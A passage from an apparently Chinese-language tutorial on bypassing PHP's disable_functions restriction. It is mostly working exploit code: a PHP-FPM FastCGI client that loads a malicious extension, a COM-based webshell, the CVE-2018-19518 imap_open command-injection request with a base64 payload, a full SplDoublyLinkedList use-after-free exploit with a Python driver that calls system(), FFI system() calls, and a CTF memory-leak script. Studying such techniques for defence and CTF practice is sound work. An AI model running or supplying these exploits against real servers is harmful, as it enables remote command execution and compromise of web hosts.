            /* valueLengthB0 */
            $nvpair .= chr($vlen);
        } else {
            /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
            $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
        }
        /* nameData & valueData */
        return $nvpair . $name . $value;
    }

    /**
     * Read a set of FastCGI Name value pairs
     *
     * @param String $data Data containing the set of FastCGI NVPair
     * @return array of NVPair
     */
    private function readNvpair($data, $length = null)
    {
        $array = array();

        if ($length === null) {
            $length = strlen($data);
        }

        $p = 0;

        while ($p != $length) {

            $nlen = ord($data{$p++});
            if ($nlen >= 128) {
                $nlen = ($nlen & 0x7F << 24);
                $nlen |= (ord($data{$p++}) << 16);
                $nlen |= (ord($data{$p++}) << 8);
                $nlen |= (ord($data{$p++}));
            }
            $vlen = ord($data{$p++});
            if ($vlen >= 128) {
                $vlen = ($nlen & 0x7F << 24);
                $vlen |= (ord($data{$p++}) << 16);
                $vlen |= (ord($data{$p++}) << 8);
                $vlen |= (ord($data{$p++}));
            }
            $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
            $p += ($nlen + $vlen);
        }

        return $array;
    }

    /**
     * Decode a FastCGI Packet
     *
     * @param String $data String containing all the packet
     * @return array
     */
    private function decodePacketHeader($data)
    {
        $ret = array();
        $ret['version']       = ord($data{0});
        $ret['type']          = ord($data{1});
        $ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
        $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
        $ret['paddingLength'] = ord($data{6});
        $ret['reserved']      = ord($data{7});
        return $ret;
    }

    /**
     * Read a FastCGI Packet
     *
     * @return array
     */
    private function readPacket()
    {
        if ($packet = fread($this->_sock, self::HEADER_LEN)) {
            $resp = $this->decodePacketHeader($packet);
            $resp['content'] = '';
            if ($resp['contentLength']) {
                $len  = $resp['contentLength'];
                while ($len && $buf=fread($this->_sock, $len)) {
                    $len -= strlen($buf);
                    $resp['content'] .= $buf;
                }
            }
            if ($resp['paddingLength']) {
                $buf=fread($this->_sock, $resp['paddingLength']);
            }
            return $resp;
        } else {
            return false;
        }
    }

    /**
     * Get Informations on the FastCGI application
     *
     * @param array $requestedInfo information to retrieve
     * @return array
     */
    public function getValues(array $requestedInfo)
    {
        $this->connect();

        $request = '';
        foreach ($requestedInfo as $info) {
            $request .= $this->buildNvpair($info, '');
        }
        fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));

        $resp = $this->readPacket();
        if ($resp['type'] == self::GET_VALUES_RESULT) {
            return $this->readNvpair($resp['content'], $resp['length']);
        } else {
            throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
        }
    }

    public function request(array $params, $stdin)
    {
        $response = '';
        $this->connect();
        
        $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));

        $paramsRequest = '';
        foreach ($params as $key => $value) {
            $paramsRequest .= $this->buildNvpair($key, $value);
        }
        if ($paramsRequest) {
            $request .= $this->buildPacket(self::PARAMS, $paramsRequest);
        }
        $request .= $this->buildPacket(self::PARAMS, '');

        if ($stdin) {
            $request .= $this->buildPacket(self::STDIN, $stdin);
        }
        $request .= $this->buildPacket(self::STDIN, '');

        fwrite($this->_sock, $request);

        do {
            $resp = $this->readPacket();
            if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
                $response .= $resp['content'];
            }
        } while ($resp && $resp['type'] != self::END_REQUEST);

        if (!is_array($resp)) {
            throw new Exception('Bad request');
        }
       
        switch (ord($resp['content'][4])) {
            case self::CANT_MPX_CONN:
                throw new Exception('This app cant multiplex [CANT_MPX_CONN]');
                break;
            case self::OVERLOADED:
                throw new Exception('New request rejected; too busy [OVERLOADED]');
                break;
            case self::UNKNOWN_ROLE:
                throw new Exception('Role value not known [UNKNOWN_ROLE]');
                break;
            case self::REQUEST_COMPLETE:
                return $response;
        }
    }
}


//$client = new AA("unix:///var/run/php-fpm.sock");
$client = new AA("127.0.0.1:9000");
$req = '/var/www/html/index.php';
$uri = $req .'?'.'command=ls';
var_dump($client);


$code = "<?php antsystem('ls');\\n?>";
$php_value = "extension = /var/www/html/ant.so";
$php_admin_value = "extension = /var/www/html/ant.so";

$params = array(       
        'GATEWAY_INTERFACE' => 'FastCGI/1.0',
        'REQUEST_METHOD'    => 'POST',
        'SCRIPT_FILENAME'   => '/var/www/html/index.php',
        'SCRIPT_NAME'       => '/var/www/html/index.php',
        'QUERY_STRING'      => 'command=ls',
        'REQUEST_URI'       => $uri,
        'DOCUMENT_URI'      => $req,
        #'DOCUMENT_ROOT'     => '/',
        'PHP_VALUE'         => $php_value,
        'PHP_ADMIN_VALUE' => $php_admin_value,
        'SERVER_SOFTWARE'   => 'asd',
        'REMOTE_ADDR'       => '127.0.0.1',
        'REMOTE_PORT'       => '9985',
        'SERVER_ADDR'       => '127.0.0.1',
        'SERVER_PORT'       => '80',
        'SERVER_NAME'       => 'localhost',
        'SERVER_PROTOCOL'   => 'HTTP/1.1',
        'CONTENT_LENGTH'    => strlen($code)
);

echo "Call: $uri\\n\\n";
var_dump($client->request($params, $code));
'''

ret = execute_php_code(code)
print(ret)
code = """
antsystem('ls');
"""
ret = execute_php_code(code)
print(ret)
           

通過修改其内的code即可,效果如下:

php中函數禁用繞過的原理與利用bypass disable function

漏洞利用成功。

com元件

原理&利用

需要目标機器滿足下列三個條件:

  • com.allow_dcom = true
  • extension=php_com_dotnet.dll
  • php>5.4

此時com元件開啟,我們能夠在phpinfo中看到:

php中函數禁用繞過的原理與利用bypass disable function

要知道原理還是直接從exp看起:

<?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
           

首先,以

new COM('WScript.shell')

來生成一個com對象,裡面的參數也可以為

Shell.Application

(筆者的win10下測試失敗)。

然後這個com對象中存在着exec可以用來執行指令,而後續的方法則是将指令輸出,該方式的利用還是較為簡單的,就不多講了。

imap_open

該bypass方式為CVE-2018-19518

原理

imap擴充用于在PHP中執行郵件收發操作,而imap_open是一個imap擴充的函數,在使用時通常以如下形式:

$imap = imap_open('{'.$_POST['server'].':993/imap/ssl}INBOX', $_POST['login'], $_POST['password']);
           

那麼該函數在調用時會調用rsh來連接配接遠端shell,而在debian/ubuntu中預設使用ssh來代替rsh的功能,也即是說在這倆系統中調用的實際上是ssh,而ssh中可以通過

-oProxyCommand=

來調用指令,該選項可以使得我們在連接配接伺服器之前先執行指令,并且需要注意到的是此時并不是php解釋器在執行該系統指令,其以一個獨立的程序去執行了該指令,是以我們也就成功的bypass disable function了。

那麼我們可以先在ubuntu上試驗一下:

ssh -oProxyCommand="ls>test" 192.168.2.1
           
php中函數禁用繞過的原理與利用bypass disable function

利用

環境的話vulhub上有,其中給出了poc:

POST / HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 125

hostname=x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}&username=111&password=222

           

我們可以發現其中使用了%09來繞過空格,以base64的形式來執行我們的指令,那麼我這裡再驗證一下:

hostname=x+-oProxyCommand%3decho%09bHM%2BdGVzdAo%3D|base64%09-d|sh}&username=111&password=222
//ls>test

           

會發現成功寫入了一個test,漏洞利用成功,那麼接下來就是各種肆意妄為了。

三種UAF

EXP在:https://github.com/mm0r1/exploits

三種uaf分别是:

  • Json Serializer UAF
  • GC UAF
  • Backtrace UAF

關于uaf的利用因為涉及到二進制相關的知識,而筆者是個web狗,是以暫時隻會用exp打打,是以這裡就不多說,就暫時先稍微提一下三種uaf的利用版本及其概述//其實我就是照搬了exp裡面的說明,讀者可以看exp作者的說明就行了。

Json Serializer UAF

漏洞出現的版本在于:

  • 7.1 - all versions to date
  • 7.2 < 7.2.19 (released: 30 May 2019)
  • 7.3 < 7.3.6 (released: 30 May 2019)

漏洞利用json在序列化中的堆溢出觸發bypass,漏洞為bug #77843

GC UAF

漏洞出現的版本在于:

  • 7.0 - all versions to date
  • 7.1 - all versions to date
  • 7.2 - all versions to date
  • 7.3 - all versions to date

漏洞利用的是php garbage collector(垃圾收集器)程式中的堆溢出達成bypass,漏洞為:bug #72530

Backtrace UAF

漏洞出現的版本在于:

  • 7.0 - all versions to date
  • 7.1 - all versions to date
  • 7.2 - all versions to date
  • 7.3 < 7.3.15 (released 20 Feb 2020)
  • 7.4 < 7.4.3 (released 20 Feb 2020)

漏洞利用的是 debug_backtrace這個函數,可以利用該函數的漏洞傳回已經銷毀的變量的引用達成堆溢出,漏洞為bug #76047

利用

利用的話exp或者蟻劍上都有利用插件了,這裡不多講,可以上ctfhub測試。

SplDoublyLinkedList UAF

概述

這個UAF是在先知上看到的,引用原文來概述:

可以看到,删除元素的操作被放在了置空 traverse_pointer 指針前。

是以在删除一個對象時,我們可以在其構析函數中通過 current 通路到這個對象,也可以通過 next 通路到下一個元素。如果此時下一個元素已經被删除,就會導緻 UAF。

PHP 部分(僅在 7.4.10、7.3.22、7.2.34 版本測試)

exp

exp同樣出自原文。

php部分:

<?php
error_reporting(0);
$a = str_repeat("T", 120 * 1024 * 1024);
function i2s(&$a, $p, $i, $x = 8) {
    for($j = 0;$j < $x;$j++) {
        $a[$p + $j] = chr($i & 0xff);
        $i >>= 8;
    }
}

function s2i($s) {
    $result = 0;
    for ($x = 0;$x < strlen($s);$x++) {
        $result <<= 8;
        $result |= ord($s[$x]);
    }
    return $result;
}

function leak(&$a, $address) {
    global $s;
    i2s($a, 0x00, $address - 0x10);
    return strlen($s -> current());
}

function getPHPChunk($maps) {
    $pattern = '/([0-9a-f]+\-[0-9a-f]+) rw\-p 00000000 00:00 0 /';
    preg_match_all($pattern, $maps, $match);
    foreach ($match[1] as $value) {
        list($start, $end) = explode("-", $value);
        if (($length = s2i(hex2bin($end)) - s2i(hex2bin($start))) >= 0x200000 && $length <= 0x300000) {
            $address = array(s2i(hex2bin($start)), s2i(hex2bin($end)), $length);
            echo "[+]PHP Chunk: " . $start . " - " . $end . ", length: 0x" . dechex($length) . "\n";
            return $address;
        }
    }
}

function bomb1(&$a) {
    if (leak($a, s2i($_GET["test1"])) === 0x5454545454545454) {
        return (s2i($_GET["test1"]) & 0x7ffff0000000);
    }else {
        die("[!]Where is here");
    }
}

function bomb2(&$a) {
    $start = s2i($_GET["test2"]);
    return getElement($a, array($start, $start + 0x200000, 0x200000));
    die("[!]Not Found");
}

function getElement(&$a, $address) {
    for ($x = 0;$x < ($address[2] / 0x1000 - 2);$x++) {
        $addr = 0x108 + $address[0] + 0x1000 * $x + 0x1000;
        for ($y = 0;$y < 5;$y++) {
            if (leak($a, $addr + $y * 0x08) === 0x1234567812345678 && ((leak($a, $addr + $y * 0x08 - 0x08) & 0xffffffff) === 0x01)){
                echo "[+]SplDoublyLinkedList Element: " . dechex($addr + $y * 0x08 - 0x18) . "\n";
                return $addr + $y * 0x08 - 0x18;
            }
        }
    }
}

function getClosureChunk(&$a, $address) {
    do {
        $address = leak($a, $address);
    }while(leak($a, $address) !== 0x00);
    echo "[+]Closure Chunk: " . dechex($address) . "\n";
    return $address;
}

function getSystem(&$a, $address) {
    $start = $address & 0xffffffffffff0000;
    $lowestAddr = ($address & 0x0000fffffff00000) - 0x0000000001000000;
    for($i = 0; $i < 0x1000 * 0x80; $i++) {
        $addr = $start - $i * 0x20;
        if ($addr < $lowestAddr) {
            break;
        }
        $nameAddr = leak($a, $addr);
        if ($nameAddr > $address || $nameAddr < $lowestAddr) {
            continue;
        }
        $name = dechex(leak($a, $nameAddr));
        $name = str_pad($name, 16, "0", STR_PAD_LEFT);
        $name = strrev(hex2bin($name));
        $name = explode("\x00", $name)[0];
        if($name === "system") {
            return leak($a, $addr + 0x08);
        }
    }
}

class Trigger {
    function __destruct() {
        global $s;
        unset($s[0]);
        $a = str_shuffle(str_repeat("T", 0xf));
        i2s($a, 0x00, 0x1234567812345678);
        i2s($a, 0x08, 0x04, 7);
        $s -> current();
        $s -> next();
        if ($s -> current() !== 0x1234567812345678) {
             die("[!]UAF Failed");
        }
        $maps = file_get_contents("/proc/self/maps");
        if (!$maps) {
            cantRead($a);
        }else {
            canRead($maps, $a);
        }
        echo "[+]Done";
    }
}

function bypass($elementAddress, &$a) {
    global $s;
    if (!$closureChunkAddress = getClosureChunk($a, $elementAddress)) {
        die("[!]Get Closure Chunk Address Failed");
    }
    $closure_object = leak($a, $closureChunkAddress + 0x18);
    echo "[+]Closure Object: " . dechex($closure_object) . "\n";
    $closure_handlers = leak($a, $closure_object + 0x18);
    echo "[+]Closure Handler: " . dechex($closure_handlers) . "\n";
    if(!($system_address = getSystem($a, $closure_handlers))) {
        die("[!]Couldn't determine system address");
    }
    echo "[+]Find system's handler: " . dechex($system_address) . "\n";
    i2s($a, 0x08, 0x506, 7);
    for ($i = 0;$i < (0x130 / 0x08);$i++) {
        $data = leak($a, $closure_object + 0x08 * $i);
        i2s($a, 0x00, $closure_object + 0x30);
        i2s($s -> current(), 0x08 * $i + 0x100, $data);
    }
    i2s($a, 0x00, $closure_object + 0x30);
    i2s($s -> current(), 0x20, $system_address);
    i2s($a, 0x00, $closure_object);
    i2s($a, 0x08, 0x108, 7);
    echo "[+]Executing command: \n";
    ($s -> current())("php -v");
}

function canRead($maps, &$a) {
    global $s;
    if (!$chunkAddress = getPHPChunk($maps)) {
        die("[!]Get PHP Chunk Address Failed");
    }
    i2s($a, 0x08, 0x06, 7);
    if (!$elementAddress = getElement($a, $chunkAddress)) {
        die("[!]Get SplDoublyLinkedList Element Address Failed");
    }
    bypass($elementAddress, $a);
}

function cantRead(&$a) {
    global $s;
    i2s($a, 0x08, 0x06, 7);
    if (!isset($_GET["test1"]) && !isset($_GET["test2"])) {
        die("[!]Please try to get address of PHP Chunk");
    }
    if (isset($_GET["test1"])) {
        die(dechex(bomb1($a)));
    }
    if (isset($_GET["test2"])) {
        $elementAddress = bomb2($a);
    }
    if (!$elementAddress) {
        die("[!]Get SplDoublyLinkedList Element Address Failed");
    }
    bypass($elementAddress, $a);
}

$s = new SplDoublyLinkedList();
$s -> push(new Trigger());
$s -> push("Twings");
$s -> push(function($x){});
for ($x = 0;$x < 0x100;$x++) {
    $s -> push(0x1234567812345678);
}
$s -> rewind();
unset($s[0]);
           

python部分:

# -*- coding:utf8 -*-
import requests
import base64
import time
import urllib
from libnum import n2s


def bomb1(_url):
    content = None
    count = 1
    addr = 0x7f0000000000  # change here and bomb1() in php if failed
    while True:
        try:
            addr = addr + 0x10000000 / 2
            if count % 100 == 0:
                print "[+]Bomb " + str(count) + " times, address of first chunk maybe: " + str(hex(addr))
            content = requests.post(_url + "?test1=" + urllib.quote(n2s(addr)), data={
                "c": "eval(base64_decode('" + payload + "'));",
            }).content
            if "[!]" in content or "502 Bad Gateway" in content:
                count += 1
                continue
            break
        except:
            count += 1
            continue
    return content


def bomb2(_url, _addr1):
    content = None
    count = 1
    crashcount = 0
    while True:
        try:
            _addr1 = _addr1 + 0x200000
            if count % 10 == 0:
                print "[+]Bomb " + str(count) + " times, address of php chunk maybe: " + str(hex(_addr1))
            content = requests.post(_url + "?test2=" + urllib.quote(n2s(_addr1)), data={
                "c": "eval(base64_decode('" + payload + "'));",
            }).content
            if "[!]" in content or "502 Bad Gateway" in content:
                count += 1
                continue
            break
        except:
            count += 1
            crashcount += 1
            continue
    print "[+]PHP crash " + str(crashcount) + " times"
    return content


payload = open("xxx.php").read()
payload = base64.b64encode("?>" + payload)
url = "http://x.x.x.x:x/eval.php"
print "[+]Execute Payload, Output is:"
content = requests.post(url, data={
    "c": "eval(base64_decode('" + payload + "'));",
}).content
if "[!]Please try to get address of PHP Chunk" in content:
    addr1 = bomb1(url)
    if addr1 is None:
        exit(1)
    print "---------------------------------------------------------------------------------"
    addr2 = bomb2(url, int(addr1, 16))
    if addr2 is None:
        exit(1)
    print "---------------------------------------------------------------------------------"
    print addr2
else:
    print content
print "[+]Execute Payload Over."
           

ffi擴充

ffi擴充筆者初見于TCTF/0CTF 2020中的easyphp,當時是因為非預期解拿到flag發現了ffi三個字母才了解到php7.4中多了ffi這種東西。

原理

PHP FFI(Foreign Function interface),提供了進階語言直接的互相調用,而對于PHP而言,FFI讓我們可以友善的調用C語言寫的各種庫。

也即是說我們可以通過ffi來調用c語言的函數進而繞過disable的限制,我們可以簡單使用一個示例來體會一下:

$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("whoami >/tmp/1");
echo file_get_contents("/tmp/1");
@unlink("/tmp/1");
           

輸出如下:

php中函數禁用繞過的原理與利用bypass disable function

那麼這種利用方式可能出現的場景還不是很多,是以筆者稍微講解一下。

首先是cdef:

$ffi = FFI::cdef("int system(const char *command);");
           

這一行是建立一個ffi對象,預設就會加載标準庫,以本行為例是導入system這個函數,而這個函數理所當然是存在于标準庫中,那麼我們若要導入庫時則可以以如下方式:

$ffi = FFI::cdef("int system(const char *command);","libc.so.6");
           

可以看看其函數原型:

FFI::cdef([string $cdef = "" [, string $lib = null]]): FFI
           

取得了ffi對象後我們就可以直接調用函數了:

$ffi->system("whoami >/tmp/1");
           

之後的代碼較為簡單就不多講,那麼接下來看看實際應用該從哪裡入手。

利用

以tctf的題目為例,題目直接把cdef過濾了,并且存在着basedir,但我們可以使用之前說過bypass basedir來列目錄,逐一嘗試能夠發現可以使用glob列根目錄目錄:

<?php
$c = "glob:///*";
$a = new DirectoryIterator($c);
foreach($a as $f){
 echo($f->__toString().'<br>');
}
?>
           

可以發現根目錄存在着flag.h跟so:

php中函數禁用繞過的原理與利用bypass disable function

因為後面環境沒有儲存,筆者這裡簡單複述一下當時題目的情況(僅針對預期解)。

發現了flag.h之後檢視ffi相關文檔能夠發現一個load方法可以加載頭檔案。

于是有了如下:

$ffi = FFI::load("/flag.h");
           

但當我們想要列印頭檔案來擷取其記憶體在的函數時會尴尬的發現如下:

php中函數禁用繞過的原理與利用bypass disable function

我們無法擷取到存在的函數結構,是以也就無法使用ffi調用函數,這一步路就斷了,并且cdef也被過濾了,無法直接調用system函數,但檢視文檔能夠發現ffi中存在着不少與記憶體相關的函數,是以存在着記憶體洩露的可能,這裡借用飄零師傅的exp:

import requests
url = "http://pwnable.org:19261"
params = {"rh":
'''
try {
    $ffi=FFI::load("/flag.h");
    //get flag
    //$a = $ffi->flag_wAt3_uP_apA3H1();
    //for($i = 0; $i < 128; $i++){
        echo $a[$i];
    //}
    $a = $ffi->new("char[8]", false);
    $a[0] = 'f';
    $a[1] = 'l';
    $a[2] = 'a';
    $a[3] = 'g';
    $a[4] = 'f';
    $a[5] = 'l';
    $a[6] = 'a';
    $a[7] = 'g';
    $b = $ffi->new("char[8]", false);
    $b[0] = 'f';
    $b[1] = 'l';
    $b[2] = 'a';
    $b[3] = 'g';
    $newa = $ffi->cast("void*", $a);
    var_dump($newa);
    $newb = $ffi->cast("void*", $b);
    var_dump($newb);
    
    $addr_of_a = FFI::new("unsigned long long");
    FFI::memcpy($addr_of_a, FFI::addr($newa), 8);
    var_dump($addr_of_a);
    
    $leak = FFI::new(FFI::arrayType($ffi->type('char'), [102400]), false);
    FFI::memcpy($leak, $newa-0x20000, 102400);
    $tmp = FFI::string($leak,102400);
    var_dump($tmp);
   
    //var_dump($leak);
    //$leak[0] = 0xdeadbeef;
    //$leak[1] = 0x61616161;
    //var_dump($a);
    //FFI::memcpy($newa-0x8, $leak, 128*8);
    //var_dump($a);
    //var_dump(777);
} catch (FFI\Exception $ex) {
    echo $ex->getMessage(), PHP_EOL;
}
var_dump(1);
'''
}

res = requests.get(url=url,params=params)

print((res.text).encode("utf-8"))
           

擷取到函數名後直接調用函數然後把結果列印出來即可:

$a = $ffi->flag_wAt3_uP_apA3H1();
for($i=0;$i<100;$i++){
  echo $a[$i];
}